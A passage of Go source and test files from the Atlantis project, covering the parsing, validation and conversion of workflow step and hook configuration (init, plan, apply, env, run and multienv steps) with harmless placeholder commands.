run command: - run: my custom command Here we parse step in the most generic fashion possible. See fields for more details. */ type Step struct { // Key will be set in case #1 and #3 above to the key. In case #2, there // could be multiple keys (since the element is a map) so we don't set Key. Key *string // StringVal will be set in case #4 above. StringVal map[string]string // Map will be set in case #3 above. Map map[string]map[string][]string // CommandMap will be set in case #2 above. CommandMap map[string]map[string]any } func (s *Step) UnmarshalYAML(unmarshal func(any) error) error { return s.unmarshalGeneric(unmarshal) } func (s Step) MarshalYAML() (any, error) { return s.marshalGeneric() } func (s *Step) UnmarshalJSON(data []byte) error { return s.unmarshalGeneric(func(i any) error { return json.Unmarshal(data, i) }) } func (s *Step) MarshalJSON() ([]byte, error) { out, err := s.marshalGeneric() if err != nil { return nil, err } return json.Marshal(out) } func (s Step) validStepName(stepName string) bool { return stepName == InitStepName || stepName == PlanStepName || stepName == ApplyStepName || stepName == EnvStepName || stepName == MultiEnvStepName || stepName == ShowStepName || stepName == PolicyCheckStepName || stepName == ImportStepName || stepName == StateRmStepName } func (s Step) Validate() error { validStep := func(value any) error { str := *value.(*string) if !s.validStepName(str) { return fmt.Errorf("%q is not a valid step type, maybe you omitted the 'run' key", str) } return nil } extraArgs := func(value any) error { elem := value.(map[string]map[string][]string) var keys []string for k := range elem { keys = append(keys, k) } // Sort so tests can be deterministic. sort.Strings(keys) if len(keys) > 1 { return fmt.Errorf("step element can only contain a single key, found %d: %s", len(keys), strings.Join(keys, ",")) } for stepName, args := range elem { if !s.validStepName(stepName) { return fmt.Errorf("%q is not a valid step type", stepName) } var argKeys []string for k := range args { argKeys = append(argKeys, k) } // Sort so tests can be deterministic. sort.Strings(argKeys) // args should contain a single 'extra_args' key. if len(argKeys) > 1 { return fmt.Errorf("built-in steps only support a single %s key, found %d: %s", ExtraArgsKey, len(argKeys), strings.Join(argKeys, ",")) } for k := range args { if k != ExtraArgsKey { return fmt.Errorf("built-in steps only support a single %s key, found %q in step %s", ExtraArgsKey, k, stepName) } } } return nil } envOrRunOrMultiEnvStep := func(value any) error { elem := value.(map[string]map[string]any) var keys []string for k := range elem { keys = append(keys, k) } // Sort so tests can be deterministic. sort.Strings(keys) if len(keys) > 1 { return fmt.Errorf("step element can only contain a single key, found %d: %s", len(keys), strings.Join(keys, ",")) } if len(keys) == 0 { return fmt.Errorf("step element must contain at least 1 key") } stepName := keys[0] args := elem[keys[0]] var argKeys []string for k := range args { argKeys = append(argKeys, k) } argMap := make(map[string]any) maps.Copy(argMap, args) // Sort so tests can be deterministic. sort.Strings(argKeys) // Validate keys common for all the steps. if utils.SlicesContains(argKeys, ShellArgKey) && !utils.SlicesContains(argKeys, CommandArgKey) { return fmt.Errorf("workflow steps only support %q key in combination with %q key", ShellArgKey, CommandArgKey) } if utils.SlicesContains(argKeys, ShellArgsArgKey) && !utils.SlicesContains(argKeys, ShellArgKey) { return fmt.Errorf("workflow steps only support %q key in combination with %q key", ShellArgsArgKey, ShellArgKey) } switch t := argMap[ShellArgsArgKey].(type) { case nil: case string: case []any: for _, e := range t { if _, ok := e.(string); !ok { return fmt.Errorf("%q step %q option must contain only strings, found %v", stepName, ShellArgsArgKey, e) } } default: return fmt.Errorf("%q step %q option must be a string or a list of strings, found %v", stepName, ShellArgsArgKey, t) } delete(argMap, ShellArgsArgKey) delete(argMap, ShellArgKey) // Validate keys per step type. switch stepName { case EnvStepName: foundNameKey := false for _, k := range argKeys { if k != NameArgKey && k != CommandArgKey && k != ValueArgKey && k != ShellArgKey && k != ShellArgsArgKey { return fmt.Errorf( "env steps only support keys %q, %q, %q, %q and %q, found key %q", NameArgKey, ValueArgKey, CommandArgKey, ShellArgKey, ShellArgsArgKey, k, ) } if k == NameArgKey { foundNameKey = true } } delete(argMap, CommandArgKey) if !foundNameKey { return fmt.Errorf("env steps must have a %q key set", NameArgKey) } delete(argMap, NameArgKey) if utils.SlicesContains(argKeys, ValueArgKey) && utils.SlicesContains(argKeys, CommandArgKey) { return fmt.Errorf("env steps only support one of the %q or %q keys, found both", ValueArgKey, CommandArgKey) } delete(argMap, ValueArgKey) case MultiEnvStepName: if _, ok := argMap[CommandArgKey].(string); !ok { return fmt.Errorf("%q step must have a %q key set", stepName, CommandArgKey) } delete(argMap, CommandArgKey) if v, ok := argMap[OutputArgKey].(string); ok { switch v { case valid.PostProcessRunOutputShow, valid.PostProcessRunOutputHide: // All good; do nothing default: return fmt.Errorf( "multienv step %q option must be %q or %q", OutputArgKey, valid.PostProcessRunOutputShow, valid.PostProcessRunOutputHide, ) } } delete(argMap, OutputArgKey) case RunStepName: if _, ok := argMap[CommandArgKey].(string); !ok { return fmt.Errorf("%q step must have a %q key set", stepName, CommandArgKey) } delete(argMap, CommandArgKey) if v, ok := argMap[OutputArgKey].(string); ok { switch v { case valid.PostProcessRunOutputShow, valid.PostProcessRunOutputHide, valid.PostProcessRunOutputStripRefreshing: // All good; do nothing default: return fmt.Errorf( "run step %q option must be one of %q, %q, %q, or %q", OutputArgKey, valid.PostProcessRunOutputShow, valid.PostProcessRunOutputHide, valid.PostProcessRunOutputStripRefreshing, valid.PostProcessRunOutputFilterRegexKey, ) } } if argMapVal, ok := argMap[OutputArgKey].(map[string]string); ok { for k, v := range argMapVal { switch stepName { case RunStepName: switch k { case valid.PostProcessRunOutputFilterRegexKey: _, err := regexp.Compile(v) if err != nil { return fmt.Errorf( "regex filter %q from run step %q option failed: %w", OutputArgKey, v, err, ) } default: return fmt.Errorf( "run step %q option must be one of %q, %q, %q, or %q", OutputArgKey, valid.PostProcessRunOutputShow, valid.PostProcessRunOutputHide, valid.PostProcessRunOutputStripRefreshing, valid.PostProcessRunOutputFilterRegexKey, ) } case MultiEnvStepName: switch k { default: return fmt.Errorf( "multienv step %q option must be %q or %q", OutputArgKey, valid.PostProcessRunOutputShow, valid.PostProcessRunOutputHide, ) } } } } delete(argMap, OutputArgKey) default: return fmt.Errorf("%q is not a valid step type", stepName) } if len(argMap) > 0 { var argKeys []string for k := range argMap { argKeys = append(argKeys, k) } // Sort so tests can be deterministic. sort.Strings(argKeys) return fmt.Errorf("%q steps only support keys %q, %q, %q and %q, found extra keys %q", stepName, CommandArgKey, OutputArgKey, ShellArgKey, ShellArgsArgKey, strings.Join(argKeys, ",")) } return nil } runOrMultiEnvStep := func(value any) error { elem := value.(map[string]string) var keys []string for k := range elem { keys = append(keys, k) } // Sort so tests can be deterministic. sort.Strings(keys) if len(keys) > 1 { return fmt.Errorf("step element can only contain a single key, found %d: %s", len(keys), strings.Join(keys, ",")) } for stepName := range elem { if stepName != RunStepName && stepName != MultiEnvStepName { return fmt.Errorf("%q is not a valid step type", stepName) } } return nil } if s.Key != nil { return validation.Validate(s.Key, validation.By(validStep)) } if len(s.Map) > 0 { return validation.Validate(s.Map, validation.By(extraArgs)) } if len(s.CommandMap) > 0 { return validation.Validate(s.CommandMap, validation.By(envOrRunOrMultiEnvStep)) } if len(s.StringVal) > 0 { return validation.Validate(s.StringVal, validation.By(runOrMultiEnvStep)) } return errors.New("step element is empty") } func (s Step) ToValid() valid.Step { // This will trigger in case #1 (see Step docs). if s.Key != nil { return valid.Step{ StepName: *s.Key, } } // This will trigger in case #2 (see Step docs). if len(s.CommandMap) > 0 { // After validation we assume there's only one key and it's a valid // step name so we just use the first one. for stepName, stepArgs := range s.CommandMap { step := valid.Step{StepName: stepName} if name, ok := stepArgs[NameArgKey].(string); ok { step.EnvVarName = name } if command, ok := stepArgs[CommandArgKey].(string); ok { step.RunCommand = command } if value, ok := stepArgs[ValueArgKey].(string); ok { step.EnvVarValue = value } if shell, ok := stepArgs[ShellArgKey].(string); ok { step.RunShell = &valid.CommandShell{ Shell: shell, ShellArgs: []string{"-c"}, } } switch output := stepArgs[OutputArgKey].(type) { case string: step.Output = append(step.Output, valid.PostProcessRunOutputOption(output)) case []string: for _, value := range output { if !slices.Contains(step.Output, valid.PostProcessRunOutputOption(value)) { step.Output = append(step.Output, valid.PostProcessRunOutputOption(value)) } } case []any: for _, value := range output { switch v := value.(type) { case string: step.Output = append(step.Output, valid.PostProcessRunOutputOption(v)) case map[string]any: for key, value := range v { if !slices.Contains(step.Output, valid.PostProcessRunOutputOption(key)) { step.Output = append(step.Output, valid.PostProcessRunOutputOption(key)) } if key == valid.PostProcessRunOutputFilterRegexKey { switch t := value.(type) { case string: r := regexp.MustCompile(t) step.FilterRegexes = append(step.FilterRegexes, r) case []string: for _, e := range t { r := regexp.MustCompile(e) step.FilterRegexes = append(step.FilterRegexes, r) } } } } } } } if step.StepName == RunStepName && len(step.Output) == 0 { step.Output = append(step.Output, valid.PostProcessRunOutputShow) } switch t := stepArgs[ShellArgsArgKey].(type) { case nil: case string: step.RunShell.ShellArgs = strings.Split(t, " ") case []any: step.RunShell.ShellArgs = []string{} for _, e := range t { step.RunShell.ShellArgs = append(step.RunShell.ShellArgs, e.(string)) } } return step } } // This will trigger in case #3 (see Step docs). if len(s.Map) > 0 { // After validation we assume there's only one key and it's a valid // step name so we just use the first one. for stepName, stepArgs := range s.Map { return valid.Step{ StepName: stepName, ExtraArgs: stepArgs[ExtraArgsKey], } } } // This will trigger in case #4 (see Step docs). if len(s.StringVal) > 0 { // After validation we assume there's only one key and it's a valid // step name so we just use the first one. for stepName, v := range s.StringVal { return valid.Step{ StepName: stepName, RunCommand: v, } } } panic("step was not valid. This is a bug!") } // unmarshalGeneric is used by UnmarshalJSON and UnmarshalYAML to unmarshal // a step into one of its three forms. We need to implement a custom unmarshal // function because steps can either be: // 1. a built-in step: " - init" // 2. a built-in step with extra_args: " - init: {extra_args: [arg1] }" // 3. a custom run step: " - run: my custom command" // It takes a parameter unmarshal that is a function that tries to unmarshal // the current element into a given object. func (s *Step) unmarshalGeneric(unmarshal func(any) error) error { // First try to unmarshal as a single string, ex. // steps: // - init // - plan // We validate if it's a legal string later. var singleString string err := unmarshal(&singleString) if err == nil { s.Key = &singleString return nil } // Try to unmarshal as a custom run step, ex. // steps: // - run: my command // We validate if the key is run later. var runStep map[string]string err = unmarshal(&runStep) if err == nil { s.StringVal = runStep return nil } // This represents a step with extra_args, ex: // init: // extra_args: [a, b] // We validate if there's a single key in the map and if the value is a // legal value later. var step map[string]map[string][]string err = unmarshal(&step) if err == nil { s.Map = step return nil } // This represents a command steps env, run, and multienv, ex: // steps: // - env: // name: k // command: exec // - run: // name: test_bash_command // command: echo ${test_value::7} // shell: bash // shellArgs: ["--verbose", "-c"] var commandStep map[string]map[string]any err = unmarshal(&commandStep) if err == nil { s.CommandMap = commandStep return nil } return err } func (s Step) marshalGeneric() (any, error) { if len(s.StringVal) != 0 { return s.StringVal, nil } else if len(s.Map) != 0 { return s.Map, nil } else if len(s.CommandMap) != 0 { return s.CommandMap, nil } else if s.Key != nil { return s.Key, nil } // empty step should be marshalled to null, although this is generally // unexpected behavior. return nil, nil } ================================================ FILE: server/core/config/raw/step_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "regexp" "testing" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" yaml "gopkg.in/yaml.v3" ) func TestStepConfig_YAMLMarshalling(t *testing.T) { cases := []struct { description string input string exp raw.Step expErr string }{ // Single string. { description: "single string", input: `astring`, exp: raw.Step{ Key: String("astring"), }, }, // MapType i.e. extra_args style. { description: "extra_args style", input: ` key: mapValue: [arg1, arg2]`, exp: raw.Step{ Map: MapType{ "key": { "mapValue": {"arg1", "arg2"}, }, }, }, }, { description: "extra_args style multiple keys", input: ` key: mapValue: [arg1, arg2] value2: []`, exp: raw.Step{ Map: MapType{ "key": { "mapValue": {"arg1", "arg2"}, "value2": {}, }, }, }, }, { description: "extra_args style multiple top-level keys", input: ` key: val1: [] key2: val2: []`, exp: raw.Step{ Map: MapType{ "key": { "val1": {}, }, "key2": { "val2": {}, }, }, }, }, // Env steps { description: "env step value", input: ` env: value: direct_value name: test`, exp: raw.Step{ CommandMap: EnvType{ "env": { "value": "direct_value", "name": "test", }, }, }, }, { description: "env step command", input: ` env: command: echo 123 name: test`, exp: raw.Step{ CommandMap: EnvType{ "env": { "command": "echo 123", "name": "test", }, }, }, }, // Run-step style { description: "run step", input: ` run: my command`, exp: raw.Step{ StringVal: map[string]string{ "run": "my command", }, }, }, { description: "run step multiple top-level keys", input: ` run: my command key: value`, exp: raw.Step{ StringVal: map[string]string{ "run": "my command", "key": "value", }, }, }, // Empty { description: "empty", input: "", exp: raw.Step{ Key: nil, Map: nil, StringVal: nil, CommandMap: nil, }, }, // Errors { description: "extra args style no map strings", input: ` key: - value: another: map`, expErr: "yaml: unmarshal errors:\n line 3: cannot unmarshal !!seq into map[string]interface {}", }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var got raw.Step err := unmarshalString(c.input, &got) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) Equals(t, c.exp, got) _, err = yaml.Marshal(got) Ok(t, err) var got2 raw.Step err = unmarshalString(c.input, &got2) Ok(t, err) Equals(t, got2, got) }) } } func TestStep_Validate(t *testing.T) { cases := []struct { description string input raw.Step expErr string }{ // Valid inputs. { description: "init step", input: raw.Step{ Key: String("init"), }, expErr: "", }, { description: "plan step", input: raw.Step{ Key: String("plan"), }, expErr: "", }, { description: "apply step", input: raw.Step{ Key: String("apply"), }, expErr: "", }, { description: "init extra_args", input: raw.Step{ Map: MapType{ "init": { "extra_args": []string{"arg1", "arg2"}, }, }, }, expErr: "", }, { description: "plan extra_args", input: raw.Step{ Map: MapType{ "plan": { "extra_args": []string{"arg1", "arg2"}, }, }, }, expErr: "", }, { description: "env", input: raw.Step{ CommandMap: EnvType{ "env": { "name": "test", "command": "echo 123", }, }, }, expErr: "", }, { description: "env shell", input: raw.Step{ CommandMap: EnvType{ "env": { "name": "test", "command": "echo 123", "shell": "bash", }, }, }, expErr: "", }, { description: "env shellArgs string", input: raw.Step{ CommandMap: EnvType{ "env": { "name": "test", "command": "echo 123", "shell": "bash", "shellArgs": "-c", }, }, }, expErr: "", }, { description: "env shellArgs list of strings", input: raw.Step{ CommandMap: EnvType{ "env": { "name": "test", "command": "echo 123", "shell": "bash", "shellArgs": []any{"-c", "--debug"}, }, }, }, expErr: "", }, { description: "apply extra_args", input: raw.Step{ Map: MapType{ "apply": { "extra_args": []string{"arg1", "arg2"}, }, }, }, expErr: "", }, { description: "run step", input: raw.Step{ StringVal: map[string]string{ "run": "my command", }, }, expErr: "", }, // Invalid inputs. { description: "empty elem", input: raw.Step{}, expErr: "step element is empty", }, { description: "invalid step name", input: raw.Step{ Key: String("invalid"), }, expErr: "\"invalid\" is not a valid step type, maybe you omitted the 'run' key", }, { description: "multiple keys in map", input: raw.Step{ Map: MapType{ "key1": nil, "key2": nil, }, }, expErr: "step element can only contain a single key, found 2: key1,key2", }, { description: "multiple keys in env", input: raw.Step{ CommandMap: EnvType{ "key1": nil, "key2": nil, }, }, expErr: "step element can only contain a single key, found 2: key1,key2", }, { description: "multiple keys in string val", input: raw.Step{ StringVal: map[string]string{ "key1": "", "key2": "", }, }, expErr: "step element can only contain a single key, found 2: key1,key2", }, { description: "invalid key in map", input: raw.Step{ Map: MapType{ "invalid": nil, }, }, expErr: "\"invalid\" is not a valid step type", }, { description: "invalid key in env", input: raw.Step{ CommandMap: EnvType{ "invalid": nil, }, }, expErr: "\"invalid\" is not a valid step type", }, { description: "invalid key in string val", input: raw.Step{ StringVal: map[string]string{ "invalid": "", }, }, expErr: "\"invalid\" is not a valid step type", }, { description: "non extra_arg key", input: raw.Step{ Map: MapType{ "init": { "invalid": nil, }, }, }, expErr: "built-in steps only support a single extra_args key, found \"invalid\" in step init", }, { description: "non extra_arg key", input: raw.Step{ Map: MapType{ "init": { "invalid": nil, "zzzzzzz": nil, }, }, }, expErr: "built-in steps only support a single extra_args key, found 2: invalid,zzzzzzz", }, { description: "env step with no name key set", input: raw.Step{ CommandMap: EnvType{ "env": { "value": "value", }, }, }, expErr: "env steps must have a \"name\" key set", }, { description: "env step with invalid key", input: raw.Step{ CommandMap: EnvType{ "env": { "abc": "", "invalid2": "", }, }, }, expErr: "env steps only support keys \"name\", \"value\", \"command\", \"shell\" and \"shellArgs\", found key \"abc\"", }, { description: "env step with both command and value set", input: raw.Step{ CommandMap: EnvType{ "env": { "name": "name", "command": "command", "value": "value", }, }, }, expErr: "env steps only support one of the \"value\" or \"command\" keys, found both", }, { description: "env step with shell set but not command", input: raw.Step{ CommandMap: EnvType{ "env": { "name": "name", "shell": "bash", }, }, }, expErr: "workflow steps only support \"shell\" key in combination with \"command\" key", }, { description: "env step with shellArgs set but not shell", input: raw.Step{ CommandMap: EnvType{ "env": { "name": "name", "shellArgs": "-c", }, }, }, expErr: "workflow steps only support \"shellArgs\" key in combination with \"shell\" key", }, { description: "run step with shellArgs is not list of strings", input: raw.Step{ CommandMap: EnvType{ "run": { "name": "name", "command": "echo", "shell": "shell", "shellArgs": []int{42, 42}, }, }, }, expErr: "\"run\" step \"shellArgs\" option must be a string or a list of strings, found [42 42]", }, { description: "run step with shellArgs contain not strings", input: raw.Step{ CommandMap: EnvType{ "run": { "name": "name", "command": "echo", "shell": "shell", "shellArgs": []any{"-c", 42}, }, }, }, expErr: "\"run\" step \"shellArgs\" option must contain only strings, found 42", }, { // For atlantis.yaml v2, this wouldn't parse, but now there should // be no error. description: "unparsable shell command", input: raw.Step{ StringVal: map[string]string{ "run": "my 'c", }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { err := c.input.Validate() if c.expErr == "" { Ok(t, err) return } ErrEquals(t, c.expErr, err) }) } } func TestStep_ToValid(t *testing.T) { testRegexDotStar := regexp.MustCompile(".*") testRegexSecret := regexp.MustCompile("((?i)secret:\\s\")[^\"]*") cases := []struct { description string input raw.Step exp valid.Step }{ { description: "init step", input: raw.Step{ Key: String("init"), }, exp: valid.Step{ StepName: "init", }, }, { description: "plan step", input: raw.Step{ Key: String("plan"), }, exp: valid.Step{ StepName: "plan", }, }, { description: "policy_check step", input: raw.Step{ Key: String("policy_check"), }, exp: valid.Step{ StepName: "policy_check", }, }, { description: "apply step", input: raw.Step{ Key: String("apply"), }, exp: valid.Step{ StepName: "apply", }, }, { description: "env step", input: raw.Step{ CommandMap: EnvType{ "env": { "name": "test", "command": "echo 123", }, }, }, exp: valid.Step{ StepName: "env", RunCommand: "echo 123", EnvVarName: "test", }, }, { description: "import step", input: raw.Step{ Key: String("import"), }, exp: valid.Step{ StepName: "import", }, }, { description: "init extra_args", input: raw.Step{ Map: MapType{ "init": { "extra_args": []string{"arg1", "arg2"}, }, }, }, exp: valid.Step{ StepName: "init", ExtraArgs: []string{"arg1", "arg2"}, }, }, { description: "plan extra_args", input: raw.Step{ Map: MapType{ "plan": { "extra_args": []string{"arg1", "arg2"}, }, }, }, exp: valid.Step{ StepName: "plan", ExtraArgs: []string{"arg1", "arg2"}, }, }, { description: "policy_check extra_args", input: raw.Step{ Map: MapType{ "policy_check": { "extra_args": []string{"arg1", "arg2"}, }, }, }, exp: valid.Step{ StepName: "policy_check", ExtraArgs: []string{"arg1", "arg2"}, }, }, { description: "apply extra_args", input: raw.Step{ Map: MapType{ "apply": { "extra_args": []string{"arg1", "arg2"}, }, }, }, exp: valid.Step{ StepName: "apply", ExtraArgs: []string{"arg1", "arg2"}, }, }, { description: "import extra_args", input: raw.Step{ Map: MapType{ "import": { "extra_args": []string{"arg1", "arg2"}, }, }, }, exp: valid.Step{ StepName: "import", ExtraArgs: []string{"arg1", "arg2"}, }, }, { description: "run step", input: raw.Step{ StringVal: map[string]string{ "run": "my 'run command'", }, }, exp: valid.Step{ StepName: "run", RunCommand: "my 'run command'", }, }, { description: "run step with single output", input: raw.Step{ CommandMap: RunType{ "run": { "command": "my 'run command'", "output": "hide", }, }, }, exp: valid.Step{ StepName: "run", RunCommand: "my 'run command'", Output: []valid.PostProcessRunOutputOption{ "hide", }, }, }, { description: "run step with duplicated values", input: raw.Step{ CommandMap: RunType{ "run": { "command": "my 'run command'", "output": []string{ "hide", "hide", }, }, }, }, exp: valid.Step{ StepName: "run", RunCommand: "my 'run command'", Output: []valid.PostProcessRunOutputOption{ "hide", }, }, }, { description: "run step with multiple string outputs", input: raw.Step{ CommandMap: RunType{ "run": { "command": "my 'run command'", "output": []string{ "show", "strip_refreshing", }, }, }, }, exp: valid.Step{ StepName: "run", RunCommand: "my 'run command'", Output: []valid.PostProcessRunOutputOption{ "show", "strip_refreshing", }, }, }, { description: "run step with single regex filter", input: raw.Step{ CommandMap: RunType{ "run": { "command": "my 'run command'", "output": []any{ map[string]any{ "filter_regex": ".*", }, }, }, }, }, exp: valid.Step{ StepName: "run", RunCommand: "my 'run command'", Output: []valid.PostProcessRunOutputOption{ "filter_regex", }, FilterRegexes: []*regexp.Regexp{ testRegexDotStar, }, }, }, { description: "run step with multiple mixed outputs and single regex", input: raw.Step{ CommandMap: RunType{ "run": { "command": "my 'run command'", "output": []any{ "strip_refreshing", map[string]any{ "filter_regex": ".*", }, }, }, }, }, exp: valid.Step{ StepName: "run", RunCommand: "my 'run command'", Output: []valid.PostProcessRunOutputOption{ "strip_refreshing", "filter_regex", }, FilterRegexes: []*regexp.Regexp{ testRegexDotStar, }, }, }, { description: "run step with multiple mixed outputs and multiple regexes", input: raw.Step{ CommandMap: RunType{ "run": { "command": "my 'run command'", "output": []any{ "strip_refreshing", map[string]any{ "filter_regex": ".*", }, map[string]any{ "filter_regex": "((?i)secret:\\s\")[^\"]*", }, }, }, }, }, exp: valid.Step{ StepName: "run", RunCommand: "my 'run command'", Output: []valid.PostProcessRunOutputOption{ "strip_refreshing", "filter_regex", }, FilterRegexes: []*regexp.Regexp{ testRegexDotStar, testRegexSecret, }, }, }, { description: "multienv step", input: raw.Step{ StringVal: map[string]string{ "multienv": "envs.sh", }, }, exp: valid.Step{ StepName: "multienv", RunCommand: "envs.sh", }, }, { description: "multienv step with single output", input: raw.Step{ CommandMap: MultiEnvType{ "multienv": { "command": "envs.sh", "output": "hide", }, }, }, exp: valid.Step{ StepName: "multienv", RunCommand: "envs.sh", Output: []valid.PostProcessRunOutputOption{ "hide", }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } type MapType map[string]map[string][]string type EnvType map[string]map[string]any type RunType map[string]map[string]any type MultiEnvType map[string]map[string]any ================================================ FILE: server/core/config/raw/team_authz.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import "github.com/runatlantis/atlantis/server/core/config/valid" type TeamAuthz struct { Command string `yaml:"command" json:"command"` Args []string `yaml:"args" json:"args"` } func (t *TeamAuthz) ToValid() valid.TeamAuthz { var v valid.TeamAuthz v.Command = t.Command v.Args = make([]string, 0) if t.Args != nil { v.Args = append(v.Args, t.Args...) } return v } ================================================ FILE: server/core/config/raw/workflow.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/valid" ) type Workflow struct { Apply *Stage `yaml:"apply,omitempty" json:"apply,omitempty"` Plan *Stage `yaml:"plan,omitempty" json:"plan,omitempty"` PolicyCheck *Stage `yaml:"policy_check,omitempty" json:"policy_check,omitempty"` Import *Stage `yaml:"import,omitempty" json:"import,omitempty"` StateRm *Stage `yaml:"state_rm,omitempty" json:"state_rm,omitempty"` } func (w Workflow) Validate() error { return validation.ValidateStruct(&w, validation.Field(&w.Apply), validation.Field(&w.Plan), validation.Field(&w.PolicyCheck), validation.Field(&w.Import), validation.Field(&w.StateRm), ) } func (w Workflow) toValidStage(stage *Stage, defaultStage valid.Stage) valid.Stage { if stage == nil || stage.Steps == nil { return defaultStage } return stage.ToValid() } func (w Workflow) ToValid(name string) valid.Workflow { v := valid.Workflow{ Name: name, } v.Apply = w.toValidStage(w.Apply, valid.DefaultApplyStage) v.Plan = w.toValidStage(w.Plan, valid.DefaultPlanStage) v.PolicyCheck = w.toValidStage(w.PolicyCheck, valid.DefaultPolicyCheckStage) v.Import = w.toValidStage(w.Import, valid.DefaultImportStage) v.StateRm = w.toValidStage(w.StateRm, valid.DefaultStateRmStage) return v } ================================================ FILE: server/core/config/raw/workflow_step.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( "encoding/json" "errors" "fmt" "sort" "strings" validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/valid" ) // WorkflowHook represents a single action/command to perform. In YAML, // it can be set as // A map for a custom run commands: // - run: my custom command type WorkflowHook struct { StringVal map[string]string } func (s *WorkflowHook) UnmarshalYAML(unmarshal func(any) error) error { return s.unmarshalGeneric(unmarshal) } func (s WorkflowHook) MarshalYAML() (any, error) { return s.marshalGeneric() } func (s *WorkflowHook) UnmarshalJSON(data []byte) error { return s.unmarshalGeneric(func(i any) error { return json.Unmarshal(data, i) }) } func (s *WorkflowHook) MarshalJSON() ([]byte, error) { out, err := s.marshalGeneric() if err != nil { return nil, err } return json.Marshal(out) } func (s WorkflowHook) Validate() error { runStep := func(value any) error { elem := value.(map[string]string) var keys []string for k := range elem { keys = append(keys, k) } // Sort so tests can be deterministic. sort.Strings(keys) if len(keys) > 1 { return fmt.Errorf("step element can only contain a single key, found %d: %s", len(keys), strings.Join(keys, ",")) } for stepName := range elem { if stepName != RunStepName { return fmt.Errorf("%q is not a valid step type", stepName) } } return nil } if len(s.StringVal) > 0 { return validation.Validate(s.StringVal, validation.By(runStep)) } return errors.New("step element is empty") } func (s WorkflowHook) ToValid() *valid.WorkflowHook { // This will trigger in case #4 (see WorkflowHook docs). if len(s.StringVal) > 0 { return &valid.WorkflowHook{ StepName: RunStepName, RunCommand: s.StringVal["run"], StepDescription: s.StringVal["description"], Shell: s.StringVal["shell"], ShellArgs: s.StringVal["shellArgs"], Commands: s.StringVal["commands"], } } panic("step was not valid. This is a bug!") } // unmarshalGeneric is used by UnmarshalJSON and UnmarshalYAML to unmarshal // a step a custom run step: " - run: my custom command" // It takes a parameter unmarshal that is a function that tries to unmarshal // the current element into a given object. func (s *WorkflowHook) unmarshalGeneric(unmarshal func(any) error) error { // Try to unmarshal as a custom run step, ex. // repo_config: // - run: my command // We validate if the key is run later. var runStep map[string]string err := unmarshal(&runStep) if err == nil { s.StringVal = runStep return nil } return err } func (s WorkflowHook) marshalGeneric() (any, error) { if len(s.StringVal) != 0 { return s.StringVal, nil } // empty step should be marshalled to null, although this is generally // unexpected behavior. return nil, nil } ================================================ FILE: server/core/config/raw/workflow_step_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" yaml "gopkg.in/yaml.v3" ) func TestWorkflowHook_YAMLMarshalling(t *testing.T) { cases := []struct { description string input string exp raw.WorkflowHook expErr string }{ // Run-step style { description: "run step", input: ` run: my command`, exp: raw.WorkflowHook{ StringVal: map[string]string{ "run": "my command", }, }, }, { description: "run step multiple top-level keys", input: ` run: my command key: value`, exp: raw.WorkflowHook{ StringVal: map[string]string{ "run": "my command", "key": "value", }, }, }, // Errors { description: "extra args style no slice strings", input: ` key: value: another: map`, expErr: "yaml: unmarshal errors:\n line 3: cannot unmarshal !!map into string", }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var got raw.WorkflowHook err := unmarshalString(c.input, &got) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) Equals(t, c.exp, got) _, err = yaml.Marshal(got) Ok(t, err) var got2 raw.WorkflowHook err = unmarshalString(c.input, &got2) Ok(t, err) Equals(t, got2, got) }) } } func TestGlobalConfigStep_Validate(t *testing.T) { cases := []struct { description string input raw.WorkflowHook expErr string }{ { description: "run step", input: raw.WorkflowHook{ StringVal: map[string]string{ "run": "my command", }, }, expErr: "", }, { description: "invalid key in string val", input: raw.WorkflowHook{ StringVal: map[string]string{ "invalid": "", }, }, expErr: "\"invalid\" is not a valid step type", }, { // For atlantis.yaml v2, this wouldn't parse, but now there should // be no error. description: "unparsable shell command", input: raw.WorkflowHook{ StringVal: map[string]string{ "run": "my 'c", }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { err := c.input.Validate() if c.expErr == "" { Ok(t, err) return } ErrEquals(t, c.expErr, err) }) } } func TestWorkflowHook_ToValid(t *testing.T) { cases := []struct { description string input raw.WorkflowHook exp *valid.WorkflowHook }{ { description: "run step", input: raw.WorkflowHook{ StringVal: map[string]string{ "run": "my 'run command'", }, }, exp: &valid.WorkflowHook{ StepName: "run", RunCommand: "my 'run command'", }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } ================================================ FILE: server/core/config/raw/workflow_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestWorkflow_UnmarshalYAML(t *testing.T) { cases := []struct { description string input string exp raw.Workflow expErr string }{ { description: "empty", input: ``, exp: raw.Workflow{ Apply: nil, PolicyCheck: nil, Plan: nil, }, }, { description: "yaml null", input: `~`, exp: raw.Workflow{ Apply: nil, PolicyCheck: nil, Plan: nil, }, }, { description: "only plan/apply set", input: ` plan: apply: `, exp: raw.Workflow{ Apply: nil, Plan: nil, }, }, { description: "only plan/policy_check/apply set", input: ` 